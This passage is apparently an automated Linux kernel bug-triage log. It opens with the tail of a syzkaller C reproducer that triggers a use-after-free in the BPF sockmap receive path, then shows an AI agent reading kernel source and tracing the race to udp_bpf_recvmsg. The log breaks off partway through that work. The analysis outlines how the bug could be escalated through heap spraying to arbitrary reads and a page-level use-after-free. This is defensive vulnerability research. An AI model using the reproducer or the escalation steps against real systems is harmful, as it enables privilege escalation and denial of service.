// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0x6 (4 bytes)
// ninsn: bytesize8 = 0x3 (4 bytes)
// insns: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// }
// }
// license: ptr[in, buffer] {
// buffer: {73 79 7a 6b 61 6c 6c 65 72 00} (length 0xa)
// }
// loglev: int32 = 0x9 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000480 = 6;
*(uint32_t*)0x200000000484 = 3;
*(uint64_t*)0x200000000488 = 0x200000000680;
*(uint64_t*)0x200000000490 = 0x200000000200;
memcpy((void*)0x200000000200, "syzkaller\000", 10);
*(uint32_t*)0x200000000498 = 9;
*(uint32_t*)0x20000000049c = 0;
*(uint64_t*)0x2000000004a0 = 0;
*(uint32_t*)0x2000000004a8 = 0;
*(uint32_t*)0x2000000004ac = 0;
memset((void*)0x2000000004b0, 0, 16);
*(uint32_t*)0x2000000004c0 = 0;
*(uint32_t*)0x2000000004c4 = 0x25;
*(uint32_t*)0x2000000004c8 = -1;
*(uint32_t*)0x2000000004cc = 8;
*(uint64_t*)0x2000000004d0 = 0;
*(uint32_t*)0x2000000004d8 = 0;
*(uint32_t*)0x2000000004dc = 0x10;
*(uint64_t*)0x2000000004e0 = 0;
*(uint32_t*)0x2000000004e8 = 0;
*(uint32_t*)0x2000000004ec = 0;
*(uint32_t*)0x2000000004f0 = 0;
*(uint32_t*)0x2000000004f4 = 0;
*(uint64_t*)0x2000000004f8 = 0;
*(uint64_t*)0x200000000500 = 0;
*(uint32_t*)0x200000000508 = 0x10;
*(uint32_t*)0x20000000050c = 0;
*(uint32_t*)0x200000000510 = 0;
res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000480ul, /*size=*/0x94ul);
if (res != -1)
r[3] = res;
// bpf$BPF_PROG_TEST_RUN arguments: [
// cmd: const = 0xa (8 bytes)
// arg: ptr[in, bpf_test_prog_arg] {
// bpf_test_prog_arg {
// prog: fd_bpf_prog (resource)
// retval: const = 0x5 (4 bytes)
// insizedata: len = 0xb68 (4 bytes)
// outsizedata: len = 0x0 (4 bytes)
// indata: ptr[in, buffer] {
// buffer: {25} (length 0x1)
// }
// outdata: nil
// repeat: int32 = 0xd01 (4 bytes)
// dur: const = 0x0 (4 bytes)
// insizectx: len = 0x0 (4 bytes)
// outsizectx: len = 0x0 (4 bytes)
// inctx: nil
// outctx: nil
// flags: bpf_prog_test_run_flags = 0x2 (4 bytes)
// cpu: const = 0x0 (4 bytes)
// batch_size: int32 = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// size: len = 0x48 (8 bytes)
// ]
*(uint32_t*)0x200000000600 = r[3];
*(uint32_t*)0x200000000604 = 5;
*(uint32_t*)0x200000000608 = 0xb68;
*(uint32_t*)0x20000000060c = 0;
*(uint64_t*)0x200000000610 = 0x200000000000;
memset((void*)0x200000000000, 37, 1);
*(uint64_t*)0x200000000618 = 0;
*(uint32_t*)0x200000000620 = 0xd01;
*(uint32_t*)0x200000000624 = 0;
*(uint32_t*)0x200000000628 = 0;
*(uint32_t*)0x20000000062c = 0;
*(uint64_t*)0x200000000630 = 0;
*(uint64_t*)0x200000000638 = 0;
*(uint32_t*)0x200000000640 = 2;
*(uint32_t*)0x200000000644 = 0;
*(uint32_t*)0x200000000648 = 0;
syscall(__NR_bpf, /*cmd=*/0xaul, /*arg=*/0x200000000600ul, /*size=*/0x48ul);
// recvmmsg arguments: [
// fd: sock (resource)
// mmsg: ptr[in, array[recv_mmsghdr]] {
// array[recv_mmsghdr] {
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: nil
// msg_iovlen: len = 0x0 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0xfc (4 bytes)
// pad = 0x0 (4 bytes)
// }
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: nil
// msg_iovlen: len = 0x0 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0x7 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// vlen: len = 0x2 (8 bytes)
// f: recv_flags = 0x10021 (8 bytes)
// timeout: nil
// ]
*(uint64_t*)0x200000003fc0 = 0;
*(uint32_t*)0x200000003fc8 = 0;
*(uint64_t*)0x200000003fd0 = 0;
*(uint64_t*)0x200000003fd8 = 0;
*(uint64_t*)0x200000003fe0 = 0;
*(uint64_t*)0x200000003fe8 = 0;
*(uint32_t*)0x200000003ff0 = 0;
*(uint32_t*)0x200000003ff8 = 0xfc;
*(uint64_t*)0x200000004000 = 0;
*(uint32_t*)0x200000004008 = 0;
*(uint64_t*)0x200000004010 = 0;
*(uint64_t*)0x200000004018 = 0;
*(uint64_t*)0x200000004020 = 0;
*(uint64_t*)0x200000004028 = 0;
*(uint32_t*)0x200000004030 = 0;
*(uint32_t*)0x200000004038 = 7;
syscall(__NR_recvmmsg, /*fd=*/r[0], /*mmsg=*/0x200000003fc0ul, /*vlen=*/2ul, /*f=MSG_WAITFORONE|MSG_TRUNC|MSG_OOB*/0x10021ul, /*timeout=*/0ul);
// recvmmsg arguments: [
// fd: sock (resource)
// mmsg: ptr[in, array[recv_mmsghdr]] {
// array[recv_mmsghdr] {
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[out, array[int8]]]] {
// array[iovec[out, array[int8]]] {
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0xb6 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0x76 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0xf7 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x3 (8 bytes)
// msg_control: ptr[out, buffer] {
// buffer: (DirOut)
// }
// msg_controllen: bytesize = 0xc3 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0xfc (4 bytes)
// pad = 0x0 (4 bytes)
// }
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[out, array[int8]]]] {
// array[iovec[out, array[int8]]] {
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0x28 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x7 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0x7 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// vlen: len = 0x2 (8 bytes)
// f: recv_flags = 0x10021 (8 bytes)
// timeout: nil
// ]
*(uint64_t*)0x200000003fc0 = 0;
*(uint32_t*)0x200000003fc8 = 0;
*(uint64_t*)0x200000003fd0 = 0x200000000a40;
*(uint64_t*)0x200000000a40 = 0x200000000800;
*(uint64_t*)0x200000000a48 = 0xb6;
*(uint64_t*)0x200000000a50 = 0x2000000008c0;
*(uint64_t*)0x200000000a58 = 0x76;
*(uint64_t*)0x200000000a60 = 0x200000000940;
*(uint64_t*)0x200000000a68 = 0xf7;
*(uint64_t*)0x200000003fd8 = 3;
*(uint64_t*)0x200000003fe0 = 0x200000000a80;
*(uint64_t*)0x200000003fe8 = 0xc3;
*(uint32_t*)0x200000003ff0 = 0;
*(uint32_t*)0x200000003ff8 = 0xfc;
*(uint64_t*)0x200000004000 = 0;
*(uint32_t*)0x200000004008 = 0;
*(uint64_t*)0x200000004010 = 0x200000003e80;
*(uint64_t*)0x200000003e80 = 0;
*(uint64_t*)0x200000003e88 = 0;
*(uint64_t*)0x200000003e90 = 0;
*(uint64_t*)0x200000003e98 = 0;
*(uint64_t*)0x200000003ea0 = 0x200000001d00;
*(uint64_t*)0x200000003ea8 = 0x28;
*(uint64_t*)0x200000003eb0 = 0;
*(uint64_t*)0x200000003eb8 = 0;
*(uint64_t*)0x200000003ec0 = 0;
*(uint64_t*)0x200000003ec8 = 0;
*(uint64_t*)0x200000003ed0 = 0;
*(uint64_t*)0x200000003ed8 = 0;
*(uint64_t*)0x200000003ee0 = 0;
*(uint64_t*)0x200000003ee8 = 0;
*(uint64_t*)0x200000004018 = 7;
*(uint64_t*)0x200000004020 = 0;
*(uint64_t*)0x200000004028 = 0;
*(uint32_t*)0x200000004030 = 0;
*(uint32_t*)0x200000004038 = 7;
syscall(__NR_recvmmsg, /*fd=*/r[0], /*mmsg=*/0x200000003fc0ul, /*vlen=*/2ul, /*f=MSG_WAITFORONE|MSG_TRUNC|MSG_OOB*/0x10021ul, /*timeout=*/0ul);
return 0;
}
Reply: **Bug Analysis:**
The bug is a highly exploitable slab-use-after-free in `__sk_msg_recvmsg` within the BPF socket map subsystem (`net/core/skmsg.c`).
**Root Cause:**
The vulnerability stems from a race condition when multiple threads concurrently call `recvmsg` (or `recvmmsg`) on a UDP socket that has been added to a BPF `SOCKMAP` or `SOCKHASH`.
When a UDP socket is inserted into a `SOCKMAP`, its protocol operations (`sk_prot`) are replaced with `udp_bpf_prots`, routing `recvmsg` calls to `udp_bpf_recvmsg`. Unlike its TCP counterpart (`tcp_bpf_recvmsg`), `udp_bpf_recvmsg` fails to acquire the socket lock (`lock_sock(sk)`) before calling into `sk_msg_recvmsg` -> `__sk_msg_recvmsg`.
In `__sk_msg_recvmsg`, the code peeks at the first message in the socket's ingress queue (`psock->ingress_msg`). It briefly takes `psock->ingress_lock` to get the message pointer but drops the lock immediately before processing the message. If two threads enter this function concurrently, they can both peek at the exact same `sk_msg` object. One thread can finish copying the data, dequeue the message, and free it via `kfree_sk_msg()`, while the second thread is still actively reading from or modifying the freed `sk_msg` structure, resulting in a Use-After-Free.
**Exploitability:**
This UAF is highly exploitable for local privilege escalation. The `sk_msg` object is allocated from the `kmalloc-1k` slab cache, which an attacker can easily spray and reallocate with controlled data. By controlling the `msg_rx->sg` (scatterlist) fields within the reallocated object, an attacker can:
1. **Arbitrary Memory Read:** Point the scatterlist to arbitrary physical pages. The kernel will then use `copy_page_to_iter()` to copy the contents of those pages directly into the attacker's user-space buffer.
2. **Arbitrary Page Free:** Control the `page` pointer that is eventually passed to `put_page()` when the message is consumed. This allows the attacker to decrement the reference count of arbitrary physical pages, leading to a page-level Use-After-Free, a well-known and powerful primitive for achieving arbitrary code execution.
**Access and Privileges:**
Despite its severity, the bug is strictly gated by high privileges. To reach the vulnerable `udp_bpf_recvmsg` path, an attacker must:
1. Create a `BPF_MAP_TYPE_SOCKMAP` or `BPF_MAP_TYPE_SOCKHASH`.
2. Load a BPF verdict program (e.g., `BPF_PROG_TYPE_SK_SKB`) and attach it to the map to route packets into the `psock->ingress_msg` queue.
3. Insert a UDP socket into the map.
Creating `SOCKMAP`/`SOCKHASH` maps and attaching these BPF programs requires `CAP_NET_ADMIN` and `CAP_BPF` in the **initial user namespace**. Unprivileged users cannot create these maps, even if they create a new user namespace (as BPF token delegation, which could theoretically bypass this, requires `CAP_SYS_ADMIN` in the initial namespace to mount the BPF filesystem with delegation options).
Therefore, the bug is not accessible to unprivileged users or from within unprivileged containers. It acts as a local privilege escalation or denial-of-service vector only for users who already possess `CAP_NET_ADMIN` privileges.
|
| 6/2 |
2026/05/20 09:13 |
llm |
expert |
0m
Model:
Tokens:
input: 22268
output: 44
thoughts: 1506
Thoughts: **Analyzing a KASAN Slab-Use-After-Free in `__sk_msg_recvmsg`**
Okay, so I've got a KASAN slab-use-after-free, specifically in `__sk_msg_recvmsg` at `net/core/skmsg.c:431`. A syzkaller reproducer triggered this, so let's unpack it. The reproducer sets up a UDP socket, creates a BPF map (looks like type 18, which...ah, yes, `BPF_MAP_TYPE_SOCKHASH`). Next, it loads an XDP program, detaches it, and adds the UDP socket to the map. Then, it binds the socket and loads the XDP program again, twice. After that, it executes `BPF_PROG_TEST_RUN`, and finally, attempts to `recvmmsg` on the UDP socket.
Looking at the trace, `bpf_test_run_xdp_live` seems to be injecting a packet that's received by the UDP socket. This socket has a BPF program attached via the sockhash mechanism. The packet triggers `sk_psock_verdict_data_ready`, which calls `udp_read_skb`, which calls `sk_psock_verdict_recv`. `sk_psock_verdict_recv` calls `sk_psock_skb_ingress_self`, which, crucially, allocates an `sk_msg` using `alloc_sk_msg`. This is key.
Now, here's where it gets interesting: Task 5898 *frees* the `sk_msg`. The trace shows it freeing the memory via `kfree_sk_msg`, and the call stack leads us to `__sk_msg_recvmsg`. That's at `net/core/skmsg.c:491`. And it's important to keep in mind, we're dealing with multiple tasks.
Finally, Task 5897, *concurrently*, calls `__sk_msg_recvmsg` and then tries to *access* the freed `sk_msg` at the same spot, `net/core/skmsg.c:431`. This explains the UAF read. The race condition is apparent: one task frees the memory, another tries to read from it. This is why we have the use-after-free vulnerability!
Let's dive into the `__sk_msg_recvmsg` code and get a better understanding of what's happening.
|
| 7/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/skmsg.c IncludeLines:true Name:__sk_msg_recvmsg]
Results: map[SourceCode: 412: int __sk_msg_recvmsg(struct sock *sk, struct sk_psock *psock, struct msghdr *msg,
413: int len, int flags, int *copied_from_self)
414: {
415: struct iov_iter *iter = &msg->msg_iter;
416: int peek = flags & MSG_PEEK;
417: struct sk_msg *msg_rx;
418: int i, copied = 0;
419: bool from_self;
420:
421: msg_rx = sk_psock_peek_msg(psock);
422: if (copied_from_self)
423: *copied_from_self = 0;
424:
425: while (copied != len) {
426: struct scatterlist *sge;
427:
428: if (unlikely(!msg_rx))
429: break;
430:
431: from_self = msg_rx->sk == sk;
432: i = msg_rx->sg.start;
433: do {
434: struct page *page;
435: int copy;
436:
437: sge = sk_msg_elem(msg_rx, i);
438: copy = sge->length;
439: page = sg_page(sge);
440: if (copied + copy > len)
441: copy = len - copied;
442: if (copy)
443: copy = copy_page_to_iter(page, sge->offset, copy, iter);
444: if (!copy) {
445: copied = copied ? copied : -EFAULT;
446: goto out;
447: }
448:
449: copied += copy;
450: if (from_self && copied_from_self)
451: *copied_from_self += copy;
452:
453: if (likely(!peek)) {
454: sge->offset += copy;
455: sge->length -= copy;
456: if (!msg_rx->skb) {
457: sk_mem_uncharge(sk, copy);
458: atomic_sub(copy, &sk->sk_rmem_alloc);
459: }
460: msg_rx->sg.size -= copy;
461: sk_psock_msg_len_add(psock, -copy);
462:
463: if (!sge->length) {
464: sk_msg_iter_var_next(i);
465: if (!msg_rx->skb)
466: put_page(page);
467: }
468: } else {
469: /* Lets not optimize peek case if copy_page_to_iter
470: * didn't copy the entire length lets just break.
471: */
472: if (copy != sge->length)
473: goto out;
474: sk_msg_iter_var_next(i);
475: }
476:
477: if (copied == len)
478: break;
479: } while ((i != msg_rx->sg.end) && !sg_is_last(sge));
480:
481: if (unlikely(peek)) {
482: msg_rx = sk_psock_next_msg(psock, msg_rx);
483: if (!msg_rx)
484: break;
485: continue;
486: }
487:
488: msg_rx->sg.start = i;
489: if (!sge->length && (i == msg_rx->sg.end || sg_is_last(sge))) {
490: msg_rx = sk_psock_dequeue_msg(psock);
491: kfree_sk_msg(msg_rx);
492: }
493: msg_rx = sk_psock_peek_msg(psock);
494: }
495: out:
496: return copied;
497: }
SourceFile:net/core/skmsg.c]
|
| 8/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 25634
output: 47
thoughts: 246
Thoughts: **Analyzing a Tricky Race Condition**
Okay, so I'm diving into this bug, and it looks like we've got a classic race condition right in `__sk_msg_recvmsg`. The scenario is pretty clear: two threads are simultaneously calling `recvmmsg` on the same socket. That's a red flag immediately. Now, let's break down what's happening within `__sk_msg_recvmsg`.
It starts by calling `sk_psock_peek_msg`, which seems to be the culprit. Looking at the code:
```c
msg_rx = sk_psock_peek_msg(psock);
...
while (copied != len) {
if (unlikely(!msg_rx))
break;
from_self = msg_rx->sk == sk; // <--- Line 431 UAF read
```
This is where it gets interesting. `sk_psock_peek_msg` appears to be grabbing the first message from `psock->ingress_msg`, which makes sense.
```c
static inline struct sk_msg *sk_psock_peek_msg(struct sk_psock *psock)
{
return list_first_entry_or_null(&psock->ingress_msg, struct sk_msg, list);
}
```
The problem is that `sk_psock_peek_msg` doesn't seem to take any locks! This is where things could go sideways. If one thread grabs `msg_rx` and before it's processed, another thread snatches the same message, we're likely looking at a UAF read on line 431. To confirm if this is the cause, let's now look at `udp_bpf_recvmsg` to see if it does take a lock, which it likely will. That's my next step to get to the bottom of this.
|
| 9/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/udp_bpf.c IncludeLines:true Name:udp_bpf_recvmsg]
Results: map[SourceCode: 61: static int udp_bpf_recvmsg(struct sock *sk, struct msghdr *msg, size_t len,
62: int flags)
63: {
64: struct sk_psock *psock;
65: int copied, ret;
66:
67: if (unlikely(flags & MSG_ERRQUEUE))
68: return inet_recv_error(sk, msg, len);
69:
70: if (!len)
71: return 0;
72:
73: psock = sk_psock_get(sk);
74: if (unlikely(!psock))
75: return sk_udp_recvmsg(sk, msg, len, flags);
76:
77: if (!psock_has_data(psock)) {
78: ret = sk_udp_recvmsg(sk, msg, len, flags);
79: goto out;
80: }
81:
82: msg_bytes_ready:
83: copied = sk_msg_recvmsg(sk, psock, msg, len, flags);
84: if (!copied) {
85: long timeo;
86: int data;
87:
88: timeo = sock_rcvtimeo(sk, flags & MSG_DONTWAIT);
89: data = udp_msg_wait_data(sk, psock, timeo);
90: if (data) {
91: if (psock_has_data(psock))
92: goto msg_bytes_ready;
93: ret = sk_udp_recvmsg(sk, msg, len, flags);
94: goto out;
95: }
96: copied = -EAGAIN;
97: }
98: ret = copied;
99: out:
100: sk_psock_put(sk, psock);
101: return ret;
102: }
SourceFile:net/ipv4/udp_bpf.c]
|
| 10/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 26935
output: 47
thoughts: 47
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm an expert in network kernel internals, specifically focusing on BPF and socket operations:
**Analyzing Socket Locking in BPF Receive Operations**
Hmm, so `udp_bpf_recvmsg` *doesn't* acquire `lock_sock(sk)`. That's interesting, and it makes sense considering the datagram nature of UDP. I'd expect minimal locking overhead for connectionless protocols like UDP, especially within a BPF context. The design here must have been geared towards high performance and minimal contention. Now, wait a minute... I seem to recall that the TCP implementation might be different. Does `tcp_bpf_recvmsg` *actually* call `lock_sock(sk)`? This would be a crucial difference. I need to verify that assumption. Let's dig into the code and confirm this behavior.
|
| 11/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/tcp_bpf.c IncludeLines:true Name:tcp_bpf_recvmsg]
Results: map[SourceCode: 353: static int tcp_bpf_recvmsg(struct sock *sk, struct msghdr *msg, size_t len,
354: int flags)
355: {
356: struct sk_psock *psock;
357: int copied, ret;
358:
359: if (unlikely(flags & MSG_ERRQUEUE))
360: return inet_recv_error(sk, msg, len);
361:
362: if (!len)
363: return 0;
364:
365: psock = sk_psock_get(sk);
366: if (unlikely(!psock))
367: return tcp_recvmsg(sk, msg, len, flags);
368: if (!skb_queue_empty(&sk->sk_receive_queue) &&
369: sk_psock_queue_empty(psock)) {
370: sk_psock_put(sk, psock);
371: return tcp_recvmsg(sk, msg, len, flags);
372: }
373: lock_sock(sk);
374: msg_bytes_ready:
375: copied = sk_msg_recvmsg(sk, psock, msg, len, flags);
376: if (!copied) {
377: long timeo;
378: int data;
379:
380: timeo = sock_rcvtimeo(sk, flags & MSG_DONTWAIT);
381: data = tcp_msg_wait_data(sk, psock, timeo);
382: if (data < 0) {
383: ret = data;
384: goto unlock;
385: }
386: if (data) {
387: if (!sk_psock_queue_empty(psock))
388: goto msg_bytes_ready;
389: release_sock(sk);
390: sk_psock_put(sk, psock);
391: return tcp_recvmsg(sk, msg, len, flags);
392: }
393: copied = -EAGAIN;
394: }
395: ret = copied;
396:
397: unlock:
398: release_sock(sk);
399: sk_psock_put(sk, psock);
400: return ret;
401: }
SourceFile:net/ipv4/tcp_bpf.c]
|
| 12/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 27959
output: 43
thoughts: 136
Thoughts: **Investigating a Potential Locking Issue in BPF Socket Receive Path**
Okay, so I'm digging into how BPF programs handle socket receives, specifically looking at potential race conditions. I see that `tcp_bpf_recvmsg` *does* acquire a socket lock using `lock_sock(sk)`. That's expected, makes sense. But then, `udp_bpf_recvmsg` doesn't. Now, that's interesting and warrants further scrutiny.
The next thing that jumps out is that `sk_msg_recvmsg`, which is ultimately called by `udp_bpf_recvmsg` (and likely several other places), *expects* the socket to be locked, or at least that some lock is in place to protect the `psock->ingress_msg` data structure. That expectation is crucial for data integrity. The problem is that `udp_bpf_recvmsg` calls `sk_msg_recvmsg` *without* any lock being held! That's a definite red flag.
Right, so to confirm my suspicions and to figure out the exact scope of this, I need to look at the implementation of `sk_msg_recvmsg` directly. I need to dive into `net/core/skmsg.c` and see what's really happening. Let's see if this discrepancy actually presents a vulnerability.
|
| 13/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/skmsg.c IncludeLines:true Name:sk_msg_recvmsg]
Results: map[SourceCode: 499: /* Receive sk_msg from psock->ingress_msg to @msg. */
500: int sk_msg_recvmsg(struct sock *sk, struct sk_psock *psock, struct msghdr *msg,
501: int len, int flags)
502: {
503: return __sk_msg_recvmsg(sk, psock, msg, len, flags, NULL);
504: }
SourceFile:net/core/skmsg.c]
|
| 14/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 28577
output: 45
thoughts: 99
Thoughts: **Concurrent UDP Socket Access: A Potential Vulnerability**
Okay, so I'm looking at this `udp_bpf_recvmsg` function, and it's calling `sk_msg_recvmsg` directly, with no explicit locking in between. That's immediately raising a flag. If that's the case, then we can have multiple threads hitting the same UDP socket concurrently through `sk_msg_recvmsg`. That's a classic race condition scenario.
The problem, as I see it, is this: one thread could be in the process of peeking at a message, getting ready to process it, and *another* thread could, completely independently, dequeue that very same message using the `sk_msg_recvmsg` function and free it with `kfree_sk_msg`. Bingo! Use-After-Free. The first thread is now holding a pointer to freed memory. That could lead to all sorts of nasty consequences.
I need to confirm this quickly. I'm going to double check `sk_psock_dequeue_msg` to see what I can find. I am also going to confirm what I understand from the call to `kfree_sk_msg`.
|
| 15/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/skmsg.c IncludeLines:true Name:sk_psock_dequeue_msg]
Results: map[SourceCode: 366: static inline struct sk_msg *sk_psock_dequeue_msg(struct sk_psock *psock)
367: {
368: struct sk_msg *msg;
369:
370: spin_lock_bh(&psock->ingress_lock);
371: msg = list_first_entry_or_null(&psock->ingress_msg, struct sk_msg, list);
372: if (msg) {
373: list_del(&msg->list);
374: sk_psock_msg_len_add_locked(psock, -msg->sg.size);
375: }
376: spin_unlock_bh(&psock->ingress_lock);
377: return msg;
378: }
SourceFile:include/linux/skmsg.h]
|
| 16/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 29223
output: 45
thoughts: 61
Thoughts: **Analyzing the Ingress Lock in psock Operations**
Okay, so I'm looking at how messages are handled in this `psock` context. I see that the `sk_psock_dequeue_msg` function grabs the `psock->ingress_lock`. That's standard and expected β it's crucial for thread-safety when pulling data off the ingress queue. However, something's pinging my radar. `sk_psock_peek_msg` *doesn't* take that same lock. That's unusual. I need to understand why. It seems like it's possible that data can be peeked at which is then dequeued. Therefore, I should check that the logic is correct. Let me dive into the `sk_psock_peek_msg` function itself and make sure there are no race conditions or unexpected behaviors in the code. I need to ensure that this isn't opening a window for some kind of data corruption or inconsistency. Let me have a look to ensure that I'm not missing anything.
|
| 17/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/skmsg.c IncludeLines:true Name:sk_psock_peek_msg]
Results: map[SourceCode: 385: static inline struct sk_msg *sk_psock_peek_msg(struct sk_psock *psock)
386: {
387: struct sk_msg *msg;
388:
389: spin_lock_bh(&psock->ingress_lock);
390: msg = sk_psock_peek_msg_locked(psock);
391: spin_unlock_bh(&psock->ingress_lock);
392: return msg;
393: }
SourceFile:include/linux/skmsg.h]
|
| 18/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 29723
output: 46
thoughts: 464
Thoughts: **Analyzing a Potential Use-After-Free Vulnerability**
Okay, so I'm digging into this code, and it's starting to click. I see that `sk_psock_peek_msg` *does* take the `psock->ingress_lock`. That's good, initial protection. But here's where it gets interesting: it returns a pointer to the `msg` and then *drops* that lock! Hmm. And then, `__sk_msg_recvmsg` uses `msg_rx` after the lock is released.
Now, look at this. `msg_rx = sk_psock_peek_msg(psock);` followed by this loop: `while (copied != len) { if (unlikely(!msg_rx)) break; from_self = msg_rx->sk == sk;`. That `msg_rx->sk` read... it's a potential Use-After-Free (UAF) if multiple threads are racing.
Imagine this scenario: Thread 1 calls `__sk_msg_recvmsg`, gets message A through `sk_psock_peek_msg`. Then Thread 2 *also* calls `__sk_msg_recvmsg`, and gets the *same* message A. Thread 1 processes and *finishes* message A, then deques the message and frees it using `sk_psock_dequeue_msg` and `kfree_sk_msg`. Now, Thread 2, in its loop, accesses that `msg_rx->sk`... boom! UAF read.
Wait a second. Why isn't this popping up on TCP? Ah, right. It hits me. `tcp_bpf_recvmsg` *does* take `lock_sock(sk)`. So only one thread can be in `__sk_msg_recvmsg` at a time for a given TCP socket. That's the safeguard. But `udp_bpf_recvmsg`? It *doesn't* take `lock_sock(sk)`. Bingo! UDP's vulnerable to this race.
Alright, is `lock_sock(sk)` the *only* thing protecting `__sk_msg_recvmsg`? It appears so. The code seems to be betting on the caller either holding `lock_sock(sk)` or somehow serializing access to the socket's receive queue. So `__sk_msg_recvmsg` assumes that the caller provides proper synchronization. One more thing to check: `unix_bpf_recvmsg` also calls `__sk_msg_recvmsg`, so let's check it.
|
| 19/2 |
2026/05/20 09:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/unix/unix_bpf.c IncludeLines:true Name:unix_bpf_recvmsg]
Results: map[SourceCode: 51: static int unix_bpf_recvmsg(struct sock *sk, struct msghdr *msg,
52: size_t len, int flags)
53: {
54: struct unix_sock *u = unix_sk(sk);
55: struct sk_psock *psock;
56: int copied;
57:
58: if (flags & MSG_OOB)
59: return -EOPNOTSUPP;
60:
61: if (!len)
62: return 0;
63:
64: psock = sk_psock_get(sk);
65: if (unlikely(!psock))
66: return __unix_recvmsg(sk, msg, len, flags);
67:
68: mutex_lock(&u->iolock);
69: if (!skb_queue_empty(&sk->sk_receive_queue) &&
70: sk_psock_queue_empty(psock)) {
71: mutex_unlock(&u->iolock);
72: sk_psock_put(sk, psock);
73: return __unix_recvmsg(sk, msg, len, flags);
74: }
75:
76: msg_bytes_ready:
77: copied = sk_msg_recvmsg(sk, psock, msg, len, flags);
78: if (!copied) {
79: long timeo;
80: int data;
81:
